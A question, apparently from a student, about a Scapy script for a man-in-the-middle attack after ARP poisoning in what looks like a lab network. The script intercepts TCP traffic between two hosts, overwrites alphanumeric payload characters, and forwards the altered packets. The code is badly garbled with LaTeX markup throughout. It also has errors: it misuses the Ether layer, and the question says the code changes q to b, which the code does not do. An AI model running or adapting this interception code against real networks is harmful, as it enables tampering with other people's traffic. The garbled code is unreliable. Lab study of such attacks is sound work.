Attempting to try ARP poisoning, the code does not change the characters from q to b when typing. Additionally, the Ether wrapper does not work: #$!/$usr$/$bin$/$env python$3$ from scapy.all import $*$ # Define the IP and MAC addresses IP$\_$M $="10\mathrm{.}9\mathrm{.}0\mathrm{.}105"$ MAC$\_$M $="02$:$42$:$0$a:$09$:$00$:$69"$ IP$\_$A $="10\mathrm{.}9\mathrm{.}0\mathrm{.}5"$ MAC$\_$A $="02$:$42$:$0$a:$09$:$00$:$05"$ IP$\_$B $="10\mathrm{.}9\mathrm{.}0\mathrm{.}6"$ MAC$\_$B $="02$:$42$:$0$a:$09$:$00$:$06"$ def spoof$\_$pkt$($pkt$)$: # Check if the packet is from A to B if IP in pkt and pkt$[$IP$].$src $==$ IP$\_$A and pkt$[$IP$].$dst $==$ IP$\_$B: # Create a new IP packet based on the original newpkt $=$ IP$($bytes$($pkt$[$IP$]))$ # Create a new IP packet from the original del newpkt.chksum # Remove the checksum $($it will be recalculated$)$ # Modify the TCP part if it exists if TCP in pkt: del newpkt$[$TCP$].$chksum # Remove the checksum newdata $=$ bytearray$($pkt$[$TCP$].$payload.load$)$ # Get the original payload data # Modify the payload by replacing alphanumeric characters with $\text{'}$q$\text{'}$ for i in range$($len$($newdata$))$: if chr$($newdata$[$i$]).$isalnum$()$: newdata$[$i$]=$ ord$(\text{'}$q$\text{'})$ # Create the new TCP segment new$\_$tcp $=$ TCP$($dport$=$pkt$[$TCP$].$dport, sport$=$pkt$[$TCP$].$sport, flags$=$pkt$[$TCP$].$flags, seq$=$pkt$[$TCP$].$seq, ack$=$pkt$[$TCP$].$ack$)/$ bytes$($newdata$)$ newpkt $=$ newpkt $/$ new$\_$tcp # Set the source and destination MAC addresses for the Ethernet frame newpkt$[$Ether$].$src $=$ MAC$\_$M newpkt$[$Ether$].$dst $=$ MAC$\_$B # Send the modified packet sendp$($Ether$()/$ newpkt, iface$=$'eth$0\text{'},$ verbose$=$False$)$ # Check if the packet is from B to A $($unmodified forwarding$)$ elif IP in pkt and pkt$[$IP$].$src $==$ IP$\_$B and pkt$[$IP$].$dst $==$ IP$\_$A: # Create a new IP packet newpkt $=$ IP$($bytes$($pkt$[$IP$]))$ # Create a new IP packet from the original del newpkt.chksum # Remove the checksum # Set the source and destination MAC addresses for the Ethernet frame newpkt$[$Ether$].$src $=$ MAC$\_$M newpkt$[$Ether$].$dst $=$ MAC$\_$A # Send the unmodified packet sendp$($Ether$()/$ newpkt, iface$=$'eth$0\text{'},$ verbose$=$False$)$ # Sniff packets, filtering out those sent from the MAC$\_$M address f $="$tcp and not ether src $"+$ MAC$\_$M sniff$($iface$=$"eth$0",$ filter$=$f$,$ prn$=$spoof$\_$pkt$)$